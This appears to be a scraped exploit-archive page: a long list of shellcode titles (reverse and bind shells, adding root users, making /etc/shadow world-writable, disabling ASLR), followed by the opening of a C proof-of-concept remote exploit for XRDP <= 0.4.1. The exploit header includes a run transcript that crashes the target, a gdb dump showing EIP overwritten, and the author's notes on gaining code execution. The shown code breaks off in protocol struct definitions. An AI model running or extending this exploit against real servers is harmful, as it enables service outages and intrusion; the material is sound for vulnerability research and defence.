Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 English - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind Shell 2525/TCP Shellcode (167 bytes) Win32 - Checksum Routine Shellcode (18 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (8080/TCP) Shellcode (75 bytes) Linux/x86 - execve /bin/sh Polymorphic Null-Free Shellcode (46 bytes) Windows XP SP3 (English) - MessageBoxA Shellcode (87 bytes) BSD/x86 - Bind TCP Shell (2525/TCP) Shellcode (167 bytes) Windows x86 - Checksum Routine Shellcode (18 bytes) Win32/XP SP3 (TR) - Add Administrator 'zrl' Shellcode (127 bytes) Windows XP SP3 x86 (Turkish) - Add Administrator User (zrl/123456) Shellcode (127 bytes) Win32/XP Professional SP3 (EN) x86 - Add New Local Administrator 'secuid0' Shellcode (113 bytes) Win32 - Add New Local Administrator 'secuid0' Shellcode (326 bytes) Windows XP Professional SP3 (English) x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (113 bytes) Windows x86 - Add Local Administrator User (secuid0/m0nk) Shellcode (326 bytes) ARM - Bind Connect (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader Port 0x1337 Shellcode ARM - ifconfig eth0 and Assign Address 192.168.0.2 Shellcode ARM - Bind (68/UDP) + Reverse Shell (192.168.0.1:67/UDP) Shellcode ARM - Loader (0x1337/TCP) Shellcode ARM - ifconfig eth0 192.168.0.2 up Shellcode ARM - Create a New User with UID 0 Shellcode (Metasploit) (Generator) (66+ bytes) Win32 - Speaking 'You got pwned!' Shellcode FreeBSD/x86 - connect back Shellcode (81 bytes) BSD/x86 - Bind Shell 31337/TCP + fork Shellcode (111 bytes) Win32 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod(_/etc/shadow__ 0666) + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Shell Netcat 6666/TCP Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - WinExec Add New Local Administrator 'RubberDuck' + ExitProcess Shellcode (279 bytes) Linux/x86 - ASLR deactivation Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) ARM - Add Root User Shellcode (Metasploit) (66+ bytes) (Generator) Windows 5.0 < 7.0 x86 - Speaking _You got pwned!_ Null-Free Shellcode FreeBSD/x86 - Reverse TCP /bin/sh Shell (127.0.0.1:1337/TCP) Shellcode (81 bytes) (Generator) BSD/x86 - Bind TCP Shell (31337/TCP) + fork Shellcode (111 bytes) Windows x86 - eggsearch Shellcode (33 bytes) Linux/SuperH (sh4) - setuid(0) + chmod 0666 /etc/shadow + exit(0) Shellcode (43 bytes) Linux/x86 - Bind Netcat (/usr/bin/netcat) /bin/sh Shell (6666/TCP) + Polymorphic XOR Encoded Shellcode (69 bytes) OSX/Intel (x86-64) - Reverse TCP /bin/sh Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - Add Local Administrator User (RubberDuck/mudbath) + ExitProcess WinExec Shellcode (279 bytes) Linux/x86 - Disable ASLR Security Shellcode (83 bytes) Windows - Download File + Execute via DNS (IPv6) Shellcode (Generator) (Metasploit) Linux/x86 - Reverse TCP SSL Shell (localhost:8080) Shellcode (422 bytes) Win32/PerfectXp-pc1/SP3 (TR) - Add Administrator 'kpss' Shellcode (112 bytes) Linux/x86 - Egghunter Shellcode (29 bytes) Windows PerfectXp-pc1/SP3 x86 (Turkish) - Add Administrator User (kpss/12345) Shellcode (112 bytes) Linux/x86 - Egghunter Null-Free Shellcode (29 bytes) Linux/MIPS - XOR Encoder Shellcode (Generator) (60 bytes) Linux/SuperH (sh4) - setuid(0) ; execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - XOR Encoder Shellcode (60 bytes) (Generator) Linux/SuperH (sh4) - setuid(0); + execve(_/bin/sh__ NULL_ NULL) Shellcode (27 bytes) Linux/MIPS - Add User(UID 0) (rOOt/'pwn3d) Shellcode (164 bytes) Linux/MIPS - Add Root User (rOOt/pwn3d) Shellcode (164 bytes) Linux/MIPS - Connectback Shellcode (port 0x7a69) (168 bytes) Linux/MIPS - Reverse TCP Shell (0x7a69/TCP) Shellcode (168 bytes) Linux/x86 - setuid(0) + setgid(0) + Add User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86 - setuid(0) + setgid(0) + Add Root User (iph) To /etc/passwd Polymorphic Shellcode Linux/x86-64 - Add User (t0r/Winner) Shellcode (189 bytes) Linux/x86-64 - Add Root User (t0r/Winner) Shellcode (189 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP /bin/sh Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - chmod(_/etc/shadow__ 0777) Shellcode (41 bytes) Linux/ARM (Raspberry Pi) - chmod 0777 /etc/shadow Shellcode (41 bytes) Windows XP Professional SP3 - Full ROP calc Shellcode (428 bytes) Windows x64 - Bind TCP Shell Shellcode (508 bytes) Windows XP Professional SP3 - calc Full ROP Shellcode (428 bytes) Windows x64 - Bind TCP Shell (4444/TCP) Shellcode (508 bytes) Cisco ASA - Authentication Bypass 'EXTRABACON' (Improved Shellcode) (69 bytes) Cisco ASA - Authentication Bypass _EXTRABACON_ (Improved Shellcode) (69 bytes) Windows RT ARM - Bind Shell 4444/TCP Shellcode Windows RT ARM - Bind TCP Shell (4444/TCP) Shellcode Windows - Messagebox Shellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind Shell 4444/TCP Shellcode (357 Bytes) Windows - Add Administrator 'BroK3n' Shellcode (194 bytes) Windows - Messagebox Null-FreeShellcode (113 bytes) Linux/MIPS (Little Endian) - Reverse TCP /bin/sh Shell (192.168.1.177:31337/TCP) Shellcode (200 bytes) Windows 7 x86 - Bind TCP Shell (4444/TCP) Shellcode (357 Bytes) Windows - Add Administrator User (BroK3n/BroK3n) Null-Free Shellcode (194 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add New Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + Execute /bin/sh Shellcode (378 bytes) Linux/x86 - chmod 777 (/etc/passwd + /etc/shadow) + Add Root User (ALI/ALI) + setreuid + Execute /bin/bash Obfuscated Shellcode (521 bytes) Linux/x86-64 - Reverse TCP /bin/bash Shell (127.1.1.1:6969/TCP) Shellcode (139 bytes) Linux/x86-64 - Bind TCP Password (Z~r0) Shell (4444/TCP) Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) Shell (127.0.0.1:4444/TCP) Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator 'ALI' + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) + Password (Z~r0) Null-Free Shellcode (81/96 bytes) Linux/x86-64 - Reverse TCP Password (Z~r0) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free + Null-Mask Shellcode (77-85/90-98 bytes) Windows x86 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows x64 - Add Administrator User (ALI/ALI) + Add To RDP Group + Enable RDP From Registry + STOP Firewall + Auto Start Terminal Service Obfuscated Shellcode (1218 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - Chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - Chmod 666 /etc/passwd Shellcode (55 bytes) Windows XP x86-64 - Download File + Execute Shellcode (Generator) Linux/MIPS (Little Endian) - chmod 666 /etc/shadow Shellcode (55 bytes) Linux/MIPS (Little Endian) - chmod 666 /etc/passwd Shellcode (55 bytes) Linux/x86 - execve(_/bin/sh_) (ROT13 Encoded) Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow obfuscated Shellcode (84 bytes) Linux/x86 - execve(_/bin/sh_) ROT13 Encoded Shellcode (68 bytes) Linux/x86 - chmod 0777 /etc/shadow Obfuscated Shellcode (84 bytes) Linux/x86 - Reverse TCP Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind Shell 33333/TCP Shellcode (96 bytes) Linux/x86 - Disable ASLR Shellcode (84 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (192.168.1.133:33333) Shellcode (72 bytes) Linux/x86 - Bind TCP /bin/sh Shell (33333/TCP) Shellcode (96 bytes) Linux/x86 - Disable ASLR Security Shellcode (84 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create 'my.txt' Working Directory Shellcode (37 bytes) Linux/x86 - Typewriter Shellcode (Generator) Linux/x86 - Create _my.txt_ In Working Directory Shellcode (37 bytes) Win32/XP SP3 - Create ('file.txt') Shellcode (83 bytes) Win32/XP SP3 - Restart computer Shellcode (57 bytes) Linux/x86 - custom execve Shellcode (Encoder/Decoder) (Generator) Windows XP SP3 x86 - Create (_file.txt_) Shellcode (83 bytes) Windows XP SP3 x86 - Restart Computer Shellcode (57 bytes) Linux/x86 - Custom execve Shellcode (Encoder/Decoder) (Generator) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp 17771 Shellcode (58 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (17771/TCP) Shellcode (58 bytes) Linux/x86 - chmod() 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (2) (21 bytes) Linux/x86 - chmod 777 /etc/shadow + exit() Shellcode (33 bytes) Linux/x86 - execve /bin/sh Shellcode (21 bytes) Linux/x86 - Bind Shell Netcat 5555/TCP Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Shellcode (30 bytes) Linux/x86 - Bind Netcat Shell (5555/TCP) Shellcode (60 bytes) Linux/x86-64 - execve(/bin/sh) Null-Free Shellcode (30 bytes) Linux/x86 - chmod('/etc/passwd'_0777) Shellcode (42 bytes) Linux/x86 - chmod('/etc/gshadow') Shellcode (37 bytes) Linux/x86 - chmod('/etc/shadow'_'0777') Shellcode (42 bytes) Linux/x86 - exec('/bin/dash') Shellcode (45 bytes) Linux/x86 - chmod 0777 /etc/passwd Shellcode (42 bytes) Linux/x86 - chmod /etc/gshadow Shellcode (37 bytes) Linux/x86 - chmod 0777 /etc/shadow Shellcode (42 bytes) Linux/x86 - exec(_/bin/dash_) Shellcode (45 bytes) Linux/x86 - /bin/sh (ROT7 Encoded) Shellcode Win32/XP SP3 (TR) - MessageBox Shellcode (24 bytes) Linux/x86 - execve /bin/sh ROT7 Encoded Shellcode Windows XP SP3 x86 (Turkish) - MessageBox Shellcode (24 bytes) Windows x86 - user32!MessageBox 'Hello World!' Null-Free Shellcode (199 bytes) Linux/x86 - /bin/sh (ROL/ROR Encoded) Shellcode Windows x86 - user32!MessageBox _Hello World!_ Null-Free Shellcode (199 bytes) Linux/x86 - execve /bin/sh ROL/ROR Encoded Shellcode OSX/x86-64 - /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind Shell 12345/TCP Shellcode (2488 bytes) OSX/x86-64 - execve /bin/sh Null-Free Shellcode (34 bytes) Mainframe/System Z - Bind TCP Shell (12345/TCP) Null-Free Shellcode (2488 bytes) Linux/x86 - Create file with permission 7775 + exit Shellcode (Generator) Linux/x86 - Create File With Permission 7775 + exit Shellcode (Generator) OSX/x86-64 - Bind 4444/TCP Null-free Shellcode (144 bytes) Linux/x86-64 - /bin/sh Shellcode (34 bytes) Google Android - Telnetd Port 1035 with Parameters Shellcode (248 bytes) OSX/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (144 bytes) Linux/x86-64 - execve /bin/sh Shellcode (34 bytes) Google Android - Bind Telnetd Shell (1035/TCP) + Environment / Parameters Shellcode (248 bytes) Linux/x86-64 - Bind TCP Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (1234) Shell (31173/TCP) Shellcode (92 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) (Python) Linux/x86-64 - Bind 4444/TCP Shellcode (103 bytes) Linux/x86-64 - Bind TCP Password (hack) Shell (4444/TCP) Shellcode (162 bytes) Windows XP < 10 - WinExec Null-Free Shellcode (Generator) Linux/x86-64 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (103 bytes) Linux/x86-64 - Bind TCP /bin/sh Password (hack) Shell (4444/TCP) Null-Free Shellcode (162 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Shellcode (151 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Null-Free Shellcode (151 bytes) Linux/x86-64 - execve (xor/not/div Encoded) Shellcode (54 bytes) Linux/x86-64 - execve XOR/NOT/DIV Encoded Shellcode (54 bytes) Linux x86/x86-64 - Bind 4444/TCP Shellcode (251 bytes) Linux x86/x86-64 - Bind Shell (4444/TCP) Shellcode (251 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (135 bytes) Linux/x86-64 - Reverse TCP Password (hack) /bin/sh Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (122 bytes) Linux/x86-64 - Reverse TCP Password (hack) Shell (127.0.0.1:4444/TCP) Polymorphic Shellcode (135 bytes) Linux/ARM - Connect back to 10.0.0.10:1337 with /bin/sh Shellcode (95 bytes) Linux/ARM - Reverse TCP /bin/sh Shell (10.0.0.10:1337/TCP) Shellcode (95 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (81 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (81 bytes) Linux/x86-64 - Bind 5600/TCP Shellcode (86 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (86 bytes) Linux/x86 - Reverse TCP Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind 1472/TCP Shell (IPv6) Shellcode (1250 bytes) Linux/x86 - Reverse TCP /bin/sh Shell (::ffff:192.168.64.129:1472/TCP) (IPv6) Shellcode (159 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (1250 bytes) Win32 .Net Framework - Execute Native x86 Shellcode Linux/x86-64 - Bind 1472/TCP Shell (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Windows .Net Framework x86 - Execute Native x86 Shellcode Linux/x86-64 - Bind TCP /bin/sh Shell (1472/TCP) (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Linux/x86 - Bind Shell 1234/TCP (Configurable Port) Shellcode (87 bytes) Linux/x86 - Bind TCP /bin/sh Shell (1234/TCP) Shellcode (87 bytes) (Generator) Linux/x86 - Bind Shell 4444/TCP Shellcode (656 bytes) Linux/x86-64 - execve (XOR Encoded) Shellcode (84 bytes) Linux/Windows/BSD x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind TCP /bin/bash Shell (4444/TCP) Shellcode (656 bytes) Linux/x86-64 - execve XOR Encoded Shellcode (84 bytes) BSD / Linux / Windows x86/x86-64 - execve(_/bin//sh__ {_//bin/sh__ _-c__ _cmd_}_ NULL) Execute Command Shellcode (194 bytes) Linux/x86 - Bind Shell /bin/nc -le /bin/sh -vp13337 Shellcode (56 bytes) Linux/x86 - Bind Netcat (/bin/nc) /bin/sh Shell (13337/TCP) Shellcode (56 bytes) Linux/x86 - /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - /etc/passwd File Sender Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shellcode (64 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (98 bytes) Linux/x86-64 - Bind Ncat (4442/TCP) Shell / SSL / Multi-Channel (4444/TCP-4447/TCP) / Persistant / Fork / IPv4/6 / Password Shellcode (176 bytes) Linux/x86 - Reverse TCP Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Shellcode (172 bytes) Linux/x86 - execve /bin/sh + ASLR Bruteforce Shellcode Linux/x86-64 - Reverse TCP cat /etc/passwd (192.168.86.128:1472/TCP) Shellcode (164 bytes) Linux/x86-64 - Bind Netcat Shell Null-Free Shellcode (64 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Shellcode (98 bytes) Linux/x86-64 - Bind Ncat Shell (4442/TCP) / SSL / Multi-Channel (4444-4447/TCP) / Persistant / Fork / IPv4/6 / Password Null-Free Shellcode (176 bytes) Linux/x86 - Reverse TCP /bin/sj Shell (192.168.227.129:4444) Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4/TCP) / Continuously Probing via Socket / Port-Range (391-399) / Password (la crips) Null-Free Shellcode (172 bytes) Linux/x86-64 - Bind TCP (4442/TCP) Shell / Syscall Persistent / Multi-Terminal (4444/TCP-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication Connect Back Shellcode (189 bytes) Linux/x86-64 - Bind TCP Shell (4442/TCP) / Syscall Persistent / Multi-Terminal (4444-4447/TCP) / Password (la crips) / Daemon Shellcode (83/148/177 bytes) Linux/CRISv32 - Axis Communication - Reverse TCP /bin/sh Shell (192.168.57.1:443/TCP) Shellcode (189 bytes) Linux/x86 - Bind Netcat 98/TCP + UDP Shellcode (44/52 bytes) Linux/x86 - Bind zsh 9090/TCP Shellcode (96 bytes) Linux/x86 - Reverse TCP ZSH (127.255.255.254:9090/TCP) Shellcode (80 bytes) Linux/x86 - Bind Netcat Shell (98/TCP + UDP) Shellcode (44/52 bytes) Linux/x86 - Bind TCP /bin/zsh Shell (9090/TCP) Shellcode (96 bytes) Linux/x86 - Reverse TCP /bin/zsh Shell (127.255.255.254:9090/TCP) Shellcode (80 bytes) Windows x64 - WinExec() Shellcode (93 bytes) Windows x64 - cmd.exe WinExec() Shellcode (93 bytes) Linux/x86-64 - /bin/sh -c reboot Shellcode (89 bytes) Linux/x86-64 - execve /bin/sh -c reboot Shellcode (89 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - /bin/bash -c Arbitrary Command Execution Shellcode (72 bytes) Linux/x86 - Reverse Netcat + mkfifo (-e option disabled) Shell (localhost:9999) Shellcode (180 bytes) Linux/x86 - execve /bin/bash -c Arbitrary Command Execution Null-Free Shellcode (72 bytes) Linux/x86-64 - Bind 5600/TCP - Shellcode (87 bytes) Linux/x86-64 - Bind TCP Shell (5600/TCP) Shellcode (87 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (Genearator) (129 bytes) Linux/x86 - Reverse TCP Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind Shell Dual/Multi Mode Shellcode (156 bytes) Linux - Reverse TCP Multi/Dual Mode Shell Shellcode (129 bytes) (Generator) Linux/x86 - Reverse TCP /bin/sh Alphanumeric Staged Shell (127.0.0.1:4444/TCP) Shellcode (103 bytes) Linux - Bind TCP Dual/Multi Mode Shell Shellcode (156 bytes) Linux/x86-64 - Reverse TCP Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Linux/x86-64 - Reverse TCP /bin/sh Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Windows x86 - Executable Directory Search Shellcode (130 bytes) Windows x86 - Executable Directory Search Null-Free Shellcode (130 bytes) Linux/x86-64 - Flush IPTables Polymorphic Shellcode (47 bytes) Linux/x86-64 - Flush IPTables Rules (/sbin/iptables -F) Polymorphic Shellcode (47 bytes) Linux/x86-64 - Reverse Netcat Polymorphic Shell (127.0.0.1:1234) Shellcode (106 bytes) Linux/x86-64 - Reverse Netcat Shell (127.0.0.1:1234) Polymorphic Shellcode (106 bytes) Linux/x86 - Bind Shell Shellcode (44 bytes) Linux/x86 - Bind TCP /bin/sh Random Port Shell Shellcode (44 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Shellcode (67 bytes) Linux/x86 - Reverse /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Reverse TCP Shell (127.1.1.1:11111/TCP) Null-Free Shellcode (67 bytes) Linux/x86 - Reverse TCP /bin/bash Shell (192.168.3.119:54321) Shellcode (110 bytes) Linux/x86 - Disable ASLR Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Shellcode (113 bytes) Linux/x86 - Disable ASLR Security Shellcode (80 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) (IPv6) Null-Free Shellcode (113 bytes) Linux/x86-64 - /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) setuid(0) setgid(0) (XOR Encoded) Shellcode (66 bytes) Linux/x86-64 - execve /bin/sh Shellcode (31 bytes) Linux/x86 - execve(/bin/sh) + setuid(0) + setgid(0) XOR Encoded Shellcode (66 bytes) Linux/x86 - Reverse UDP Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (75 bytes) Linux/x86 - Reverse UDP /bin/sh Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind TCP /bin/sh Shell (4444/TCP) Null-Free Shellcode (75 bytes) Linux x86 - /bin/sh Shellcode (24 bytes) Linux x86 - execve /bin/sh Shellcode (24 bytes) Linux/x86_64 - kill All Processes Shellcode (19 bytes) Linux/x86_64 - Kill All Processes Shellcode (19 bytes) Php Cloud mining Script - Authentication Bypass (Bitcoin / Dogecoin) PHP Cloud Mining Script - Authentication Bypass
3208 lines
No EOL
71 KiB
C
Executable file
3208 lines
No EOL
71 KiB
C
Executable file
/*
|
|
|
|
XRDP <= 0.4.1 pre-auth remote PoC exploit. (xrdp.sourceforge.net)
|
|
|
|
********************************************************************************
|
|
|
|
01:59:56 root@crateria:~/xrdp# gcc -w -lssl -lX11 xrdp-poc.c -o xrdp-poc
|
|
02:00:29 root@crateria:~/xrdp# ./xrdp-poc 10.0.0.13
|
|
|
|
[=] Connected to 10.0.0.13
|
|
[=] Hit CTRL-C if the progress bar stops.
|
|
|
|
Be patient! It takes about a minute, the RDP packets
|
|
need to be sent spaced apart or the daemon discards them.
|
|
|
|
[=] Progress: *******************************************************
|
|
[=] Check port 3389 on target host. It should be offline.
|
|
|
|
~/~
|
|
|
|
[root@norfair xrdp]# cat /etc/issue
|
|
CentOS release 4.7 (Final)
|
|
[root@norfair xrdp]# ./xrdp -nodaemon
|
|
Segmentation fault (core dumped)
|
|
|
|
********************************************************************************
|
|
|
|
Quick description of the exploit:
|
|
|
|
This is a PoC remote exploit for the XRDP vulnerability found by Hamid Ebadi.
|
|
XRDP 0.4.1 is the latest version at the time of this writing. This is *almost*
|
|
a really cool exploit, but execution control is difficult to achieve because:
|
|
|
|
1 - The XRDP daemon only accepts valid rdp scancodes as input. (ie, not ASCII
|
|
codes, but rdp scancodes that are later translated to ASCII after validation).
|
|
This isn't a huge problem. I was able write alpha-numeric shellcode onto the
|
|
stack. However, I wasn't able to find any alpha-numeric return addresses we
|
|
can use to overwrite the saved EIP, at least on the distros I examined
|
|
(Ubuntu 8.10 and CentOS 4.7). There may be distros where this isn't the case.
|
|
|
|
2 - On systems with gcc versions greater than 3.4 (realistically most Linux
|
|
boxes today, Ubuntu 8.10 uses 4.3.2), gcc's -O2 option (which xrdp's
|
|
Makefile includes) enables _FORTIFY_SOURCE checks, which stop you cold. On
|
|
older distros like CentOS 4.7 (gcc 3.4.6), we can successfully overwrite EIP:
|
|
|
|
#7 0x61616161 in ?? ()
|
|
#8 0x61616161 in ?? ()
|
|
#9 0xb7f59200 in ?? ()
|
|
#10 0x0804db1e in xrdp_bitmap_def_proc (self=Cannot access memory
|
|
at address 0x61616169) at xrdp_bitmap.c:1482
|
|
Previous frame inner to this frame (corrupt stack?)
|
|
|
|
#0 0x61616161 in ?? ()
|
|
(gdb) i r
|
|
eax 0x0 0
|
|
ecx 0x8fda860 150841440
|
|
edx 0x97d858 9951320
|
|
ebx 0x61616161 1633771873
|
|
esp 0xb7f59208 0xb7f59208
|
|
ebp 0x61616161 0x61616161
|
|
esi 0x61616161 1633771873
|
|
edi 0x61616161 1633771873
|
|
eip 0x61616161 0x61616161
|
|
|
|
But due to the alpha-numeric requirements for the return address, again,
|
|
no dice. Most of the code itself was taken from rdesktop, by Matthew Chapman.
|
|
Basically we hack rdesktop to bypass all X-windows interaction, then in
|
|
rdp_send_scancode(), we are able to build our payload. If you manage to find
|
|
an alternate way to control EIP, drop me a line.
|
|
joewalko@gmail.com
|
|
|
|
********************************************************************************
|
|
*/
|
|
|
|
#include <arpa/inet.h> /* inet_addr */
|
|
#include <ctype.h>
|
|
#include <errno.h>
|
|
#include <errno.h> /* errno */
|
|
#include <errno.h> /* save licence uses it. */
|
|
#include <fcntl.h> /* open */
|
|
#include <limits.h>
|
|
#include <netdb.h> /* gethostbyname */
|
|
#include <netinet/in.h> /* sockaddr_in */
|
|
#include <netinet/tcp.h> /* TCP_NODELAY */
|
|
#include <openssl/bn.h>
|
|
#include <openssl/md5.h>
|
|
#include <openssl/rc4.h>
|
|
#include <openssl/sha.h>
|
|
#include <pwd.h> /* getpwuid */
|
|
#include <stdarg.h> /* va_list va_start va_end */
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <string.h>
|
|
#include <sys/socket.h> /* socket connect */
|
|
#include <sys/socket.h> /* socket connect setsockopt */
|
|
#include <sys/stat.h> /* stat */
|
|
#include <sys/time.h> /* gettimeofday */
|
|
#include <sys/time.h> /* timeval */
|
|
#include <sys/times.h> /* times */
|
|
#include <sys/un.h> /* sockaddr_un */
|
|
#include <termios.h> /* tcgetattr tcsetattr */
|
|
#include <time.h>
|
|
#include <unistd.h> /* read close getuid getgid getpid getppid gethostname */
|
|
#include <unistd.h> /* select read write close */
|
|
#include <X11/keysymdef.h>
|
|
#include <X11/Xlib.h>
|
|
#include <X11/Xutil.h>
|
|
|
|
|
|
//Begin typedefs and structs
|
|
typedef int BOOL;
|
|
#ifndef True
|
|
#define True (1)
|
|
#define False (0)
|
|
#endif
|
|
typedef unsigned char uint8;
|
|
typedef signed char sint8;
|
|
typedef unsigned short uint16;
|
|
typedef signed short sint16;
|
|
typedef unsigned int uint32;
|
|
typedef signed int sint32;
|
|
typedef void *HBITMAP;
|
|
typedef void *HGLYPH;
|
|
typedef void *HCOLOURMAP;
|
|
typedef void *HCURSOR;
|
|
|
|
typedef struct _COLOURENTRY
|
|
{
|
|
uint8 red;
|
|
uint8 green;
|
|
uint8 blue;
|
|
|
|
}
|
|
COLOURENTRY;
|
|
|
|
typedef struct _COLOURMAP
|
|
{
|
|
uint16 ncolours;
|
|
COLOURENTRY *colours;
|
|
|
|
}
|
|
COLOURMAP;
|
|
|
|
typedef struct _BOUNDS
|
|
{
|
|
uint16 left;
|
|
uint16 top;
|
|
uint16 right;
|
|
uint16 bottom;
|
|
|
|
}
|
|
BOUNDS;
|
|
|
|
typedef struct _PEN
|
|
{
|
|
uint8 style;
|
|
uint8 width;
|
|
uint8 colour;
|
|
|
|
}
|
|
PEN;
|
|
|
|
typedef struct _BRUSH
|
|
{
|
|
uint8 xorigin;
|
|
uint8 yorigin;
|
|
uint8 style;
|
|
uint8 pattern[8];
|
|
|
|
}
|
|
BRUSH;
|
|
|
|
typedef struct _FONTGLYPH
|
|
{
|
|
sint16 offset;
|
|
sint16 baseline;
|
|
uint16 width;
|
|
uint16 height;
|
|
HBITMAP pixmap;
|
|
|
|
}
|
|
FONTGLYPH;
|
|
|
|
typedef struct _DATABLOB
|
|
{
|
|
void *data;
|
|
int size;
|
|
|
|
}
|
|
DATABLOB;
|
|
|
|
typedef struct _key_translation
|
|
{
|
|
uint8 scancode;
|
|
uint16 modifiers;
|
|
}
|
|
key_translation;
|
|
|
|
/* TCP port for Remote Desktop Protocol */
|
|
#define TCP_PORT_RDP 3389
|
|
|
|
/* ISO PDU codes */
|
|
enum ISO_PDU_CODE
|
|
{
|
|
ISO_PDU_CR = 0xE0, /* Connection Request */
|
|
ISO_PDU_CC = 0xD0, /* Connection Confirm */
|
|
ISO_PDU_DR = 0x80, /* Disconnect Request */
|
|
ISO_PDU_DT = 0xF0, /* Data */
|
|
ISO_PDU_ER = 0x70 /* Error */
|
